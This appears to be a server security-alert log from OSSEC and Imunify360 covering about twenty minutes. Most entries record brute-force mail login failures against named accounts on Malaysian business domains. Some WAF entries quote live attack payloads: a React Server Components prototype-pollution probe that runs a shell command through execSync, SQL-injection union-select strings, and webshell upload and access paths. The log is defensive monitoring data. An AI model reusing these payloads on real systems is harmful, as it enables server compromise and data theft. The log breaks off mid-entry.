abuser: 111.61.177.189
country_id: 1814991
description:
2026-02-01 13:56:19 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:22376: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-02-01 13:56:36 225506 [Warning] Aborted connection 225506 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 13:56:53 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:60780: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:56:08 dovecot_login authenticator failed for H=(jCjdB3c) [158.94.208.175]:65276: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:56:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63323: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 13:56:18 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:42306: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:57:42 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56571: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 13:57:53 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:39740: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:57:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52514: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 13:57:39 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:54713: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:57:40 dovecot_login authenticator failed for H=(B0n6yg8jV) [158.94.208.175]:57201: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:58:44 dovecot_login authenticator failed for H=(qpGQOhVf) [158.94.208.175]:53763: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:58:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37144: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:58:09 dovecot_login authenticator failed for H=(GMy1nlipZ) [178.16.52.139]:53151: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: modsec
rule: 77093094
abuser: 213.177.179.61
country_id: 1668284
domain: aoto.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((43847*41700))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:58:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63482: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.121.91.172
country_id: 1227603
description:
2026-02-01 13:59:21 dovecot_plain authenticator failed for H=(5HJ30XO6291) [45.121.91.172]:59397: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 13:59:46 dovecot_login authenticator failed for H=(Am6Qr9uBv) [178.16.54.22]:52042: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:59:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53119: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:59:18 dovecot_login authenticator failed for H=(t3NpFqDa) [158.94.208.175]:59985: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:00:01 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59154: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5e5b7d7e --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:3063 and 5=6 union select 0x5E5B7D7E --||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77316746
name: IM360 WAF: Generic SQLi attempt
abuser: 125.230.215.196
country_id: 1668284
domain: nobledec.com
description:
IM360 WAF: Generic SQLi attempt||MVN:ARGS:id||MV:3063' and 5=6 union select 0x5e5b7d7e -- and '6'='6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:00:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42882: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:00:21 dovecot_login authenticator failed for H=(ywAsxVZ) [158.94.208.175]:62849: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:01:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49714: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:01:25 dovecot_login authenticator failed for H=(UUBmWfl) [158.94.208.175]:50619: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:02:40 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:02:50 dovecot_login authenticator failed for H=(IoMmh6EZH) [158.94.208.175]:49205: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:02:14 dovecot_login authenticator failed for H=(3KaZS5b4ZB) [178.16.54.22]:53045: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:02:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53680: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:02:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.177.246.143
country_id: 1269750
description:
2026-02-01 14:02:34 dovecot_plain authenticator failed for H=(P756S1ACH72QLPV) [122.177.246.143]:17356: 535 Incorrect authentication data (set_id=sean@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.88.127.249
country_id: 1835841
description:
2026-02-01 14:03:57 dovecot_login authenticator failed for H=([220.88.127.249]) [220.88.127.249]:53040: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:03:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51696: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:03:23 dovecot_login authenticator failed for H=(Ug5Bz7) [158.94.208.175]:55012: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:03:39 dovecot_login authenticator failed for H=(iI1nPT) [178.16.54.22]:56880: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:04:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57724: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:04:42 dovecot_login authenticator failed for H=(KLlMiASxK) [178.16.54.22]:56078: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-02-01 14:04:45 dovecot_login authenticator failed for H=([196.191.142.67]) [196.191.142.67]:44480: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.190.238.234
country_id: 2017370
description:
2026-02-01 14:04:22 dovecot_login authenticator failed for H=(91-190-238-234.in-addr.netone.ru) [91.190.238.234]:46238: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:04:27 dovecot_login authenticator failed for H=(JLyFMvj) [158.94.208.175]:56240: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:04:38 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38900: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 14:05:04 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35553: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:05:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53751: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:05:30 dovecot_login authenticator failed for H=(gkENU8T) [158.94.208.175]:63142: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:05:50 dovecot_login authenticator failed for H=(SW6MPPDH1) [178.16.54.22]:65301: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:06:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38652: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:06:25 dovecot_login authenticator failed for H=(Q9IaW2J) [178.16.54.22]:51476: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:06:03 dovecot_login authenticator failed for H=(VSHQkYpc) [158.94.208.175]:64270: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:06:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59367: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:07:56 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54841: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:07:06 dovecot_login authenticator failed for H=(cKgfO1M) [158.94.208.175]:56421: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:07:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65476: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:07:29 dovecot_login authenticator failed for H=(nRuOgCGfPM) [178.16.54.22]:57916: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:08:09 dovecot_login authenticator failed for H=(iKXWCp) [158.94.208.175]:53773: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:08:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47434: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:08:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54107: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:08:03 dovecot_login authenticator failed for H=(6zS8n4v) [178.16.54.22]:60438: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: modsec
rule: 77625152
name: IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:nm_postfront_upload_file||MV:393lsvcgtrdtju8op4oghitfjah.php||MVN:ARGS:name||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.182.118.138
country_id: 732800
description:
2026-02-01 14:09:17 dovecot_login authenticator failed for H=([62.182.118.138]) [62.182.118.138]:36658: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:09:38 dovecot_login authenticator failed for H=(7qTk2RWyx) [178.16.54.22]:56866: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.231.190
country_id: 2017370
description:
2026-02-01 14:09:56 dovecot_login authenticator failed for H=(50FF2020516F.mldns.ru) [109.72.231.190]:54501: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:09:13 dovecot_login authenticator failed for H=(vGbS5Q7J) [158.94.208.175]:63136: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:09:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61234: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-02-01 14:09:33 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:55882: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Track file upload for Infectors||RSV:7.71||T:APACHE||SC:/home/agpcorg/public_html/wp-admin/admin-ajax.php||User:agpcorg||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.155.22
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/post_files/393lsvcgtrdtju8op4oghitfjah.php||SC:/home/agpcorg/public_html/wp-content/uploads/post_files||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.128.55.170
country_id: 1814991
description:
2026-02-01 14:09:45 dovecot_login authenticator failed for H=([219.128.55.170]) [219.128.55.170]:44509: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.141.18.69
country_id: 6252001
description:
2026-02-01 14:10:38 dovecot_login authenticator failed for H=(209-141-18-69.sfn.uct-usa.com) [209.141.18.69]:52451: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.113.236.114
country_id: 1512440
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.254
country_id: 1814991
description:
2026-02-01 14:10:25 dovecot_login authenticator failed for H=([111.26.95.253]) [111.26.95.254]:54272: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:10:11 dovecot_login authenticator failed for H=(bXnkAJx) [178.16.54.22]:50254: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:10:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50366: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:10:42 dovecot_login authenticator failed for H=(CQyePR) [158.94.208.175]:61115: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:11:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56062: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 14:11:07 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:57938: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:11:17 dovecot_login authenticator failed for H=(RLWaVaKI) [158.94.208.175]:65522: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 14:11:40 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:46348: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.248.4.85
country_id: 1269750
description:
2026-02-01 14:11:59 dovecot_login authenticator failed for H=([115.248.153.209]) [115.248.4.85]:58842: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:11:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57738: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/rpl.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:12:14 dovecot_login authenticator failed for H=(Sa5956) [178.16.54.22]:50476: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:12:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51061: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:12:50 dovecot_login authenticator failed for H=(7vRNXC4) [158.94.208.175]:64810: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:13:23 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56584: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:13:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56584: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.230.13
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-02-01 14:13:19 dovecot_login authenticator failed for H=([27.123.92.202]) [27.123.92.202]:53860: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:13:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56130: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:13:20 dovecot_login authenticator failed for H=(WKaJQa) [158.94.208.175]:55310: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.178.118
country_id: 2510769
description:
2026-02-01 14:13:37 dovecot_login authenticator failed for H=118.red-80-29-178.dynamicip.rima-tde.net [80.29.178.118]:43574: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 14:14:50 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:45209: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:14:26 dovecot_login authenticator failed for H=(heqF0dfA) [158.94.208.175]:50012: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:14:29 dovecot_login authenticator failed for H=(zLjcqziqH) [178.16.54.22]:57088: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 14:14:39 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:5765: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.76.151.3
country_id: 3996063
domain: pftfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pftfood.com/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:14:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62411: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 14:15:32 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:36420: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:15:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36082: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:15:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54461: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.169.148.186
country_id: 2963597
domain: mail.lnlfireprotection.com
description:
